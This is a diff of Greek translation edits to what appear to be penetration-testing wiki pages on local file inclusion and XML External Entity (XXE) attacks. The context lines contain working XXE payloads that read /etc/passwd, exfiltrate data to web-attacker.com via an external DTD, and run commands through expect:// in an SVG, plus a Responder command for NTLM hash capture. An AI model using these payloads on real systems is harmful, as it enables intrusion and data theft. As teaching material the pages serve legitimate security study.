@ -583,7 +583,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να είστε σε θέση να αποκτήσετε RCE με την παρακάτω τεχνική:
|
||||
Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να μπορέσετε να αποκτήσετε RCE με την παρακάτω τεχνική:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -628,7 +628,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Αποκάλυψη Διαδρομής
|
||||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
|
||||
|
||||
@ -636,9 +636,9 @@ lfi2rce-via-phpinfo.md
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω αιώνιας αναμονής + brute force
|
||||
### Μέσω αιώνιας αναμονής + bruteforce
|
||||
|
||||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
|
||||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -657,7 +657,7 @@ _Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα πρ
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – Από Υποστήριξη Εισιτηρίου σε Zero Day (FreeFlow Core path traversal → αυθαίρετη εγγραφή → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Horizon3.ai – Από το Support Ticket στο Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#file}}
|
||||
|
@ -7,7 +7,7 @@
|
||||
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικά ονοματισμένων ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
|
||||
|
||||
- **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `<` και `>`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
|
||||
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και ποιο περιεχόμενο μπορεί να περιέχουν, κυμαινόμενο από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
|
||||
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και ποιο περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
|
||||
- **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα.
|
||||
- **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια.
|
||||
@ -43,13 +43,13 @@
|
||||
```
|
||||
.png>)
|
||||
|
||||
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια του Portswigger)
|
||||
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY.
|
||||
Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -107,11 +107,11 @@
|
||||
Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν:
|
||||
|
||||
1. **Ορισμός Οντοτήτων Παραμέτρων:**
|
||||
- Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`.
|
||||
- Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
|
||||
- Μια XML οντότητα παραμέτρου, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`.
|
||||
- Μια άλλη XML οντότητα παραμέτρου, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα XML οντότητα παραμέτρου, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
|
||||
2. **Εκτέλεση Οντοτήτων:**
|
||||
- Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
|
||||
- Στη συνέχεια, η οντότητα `%exfiltrate` χρησιμοποιείται, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
|
||||
- Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
|
||||
|
||||
Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
@ -125,22 +125,22 @@
|
||||
|
||||
### Error Based(External DTD)
|
||||
|
||||
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε τα μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των παρακάτω βημάτων:
|
||||
Ένα μήνυμα σφάλματος ανάλυσης XML, που αποκαλύπτει τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των εξής βημάτων:
|
||||
|
||||
1. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`.
|
||||
2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως όνομά της.
|
||||
2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως το όνομά της.
|
||||
3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
|
||||
4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
|
||||
|
||||
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το παρακάτω XML:
|
||||
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Κατά την εκτέλεση, η απάντηση του διακομιστή ιστού θα πρέπει να περιλαμβάνει ένα μήνυμα σφάλματος που να εμφανίζει τα περιεχόμενα του αρχείου `/etc/passwd`.
|
||||
Κατά την εκτέλεση, η απάντηση του διακομιστή ιστού θα πρέπει να περιλαμβάνει ένα μήνυμα σφάλματος που εμφανίζει τα περιεχόμενα του αρχείου `/etc/passwd`.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -150,7 +150,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
|
||||
|
||||
Τι γίνεται με τις τυφλές ευπάθειες XXE όταν **οι εκτός ζώνης αλληλεπιδράσεις είναι αποκλεισμένες** (οι εξωτερικές συνδέσεις δεν είναι διαθέσιμες);
|
||||
|
||||
Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition των οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας παραμέτρου οντότητας XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες.
|
||||
Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition των οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας οντότητας παραμέτρου XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες.
|
||||
|
||||
Σκεφτείτε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd` υποβάλλοντας μια υβριδική DTD ως εξής:
|
||||
```xml
|
||||
@ -165,13 +165,13 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Οι καθορισμένες διαδικασίες εκτελούνται από αυτό το DTD:
|
||||
Τα παρακάτω βήματα εκτελούνται από αυτήν την DTD:
|
||||
|
||||
- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
|
||||
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
|
||||
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
|
||||
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στην εξωτερική DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`.
|
||||
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται η εξωτερική DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
|
||||
|
||||
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
|
||||
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν μια DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
|
||||
```
|
||||
.png>)
|
||||
|
||||
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **παίρνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
|
||||
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **λαμβάνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -205,7 +205,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος του θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
|
||||
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος-θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -227,9 +227,9 @@ Testing 0 entities : []
|
||||
|
||||
Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα.
|
||||
|
||||
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε το URL με ένα παρακολουθήσιμο URL για τα αιτήματα.
|
||||
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα.
|
||||
|
||||
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η παρακάτω εντολή:
|
||||
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή:
|
||||
|
||||
Τώρα, το δημιουργηθέν αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.
|
||||
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Λήψη NTML
|
||||
|
||||
Σε Windows hosts είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler responder.py:
|
||||
Σε Windows hosts είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -318,17 +318,17 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
```
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
|
||||
### SVG - Ανεβάστε Αρχεία
|
||||
### SVG - Αποστολή Αρχείων
|
||||
|
||||
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML.
|
||||
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως τα έγγραφα γραφείου (DOCX) και οι εικόνες (SVG) βασίζονται σε XML.
|
||||
|
||||
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
|
||||
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
|
||||
|
||||
Ένα παράδειγμα μιας τέτοιας εκμετάλλευσης φαίνεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του wrapper PHP "expect":
|
||||
Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του PHP "expect" wrapper:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
Αυτό λειτουργεί μόνο αν ο διακομιστής XML αποδέχεται το πρωτόκολλο `data://`.
|
||||
Αυτό λειτουργεί μόνο αν ο XML server αποδέχεται το `data://` πρωτόκολλο.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης"** του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7.
|
||||
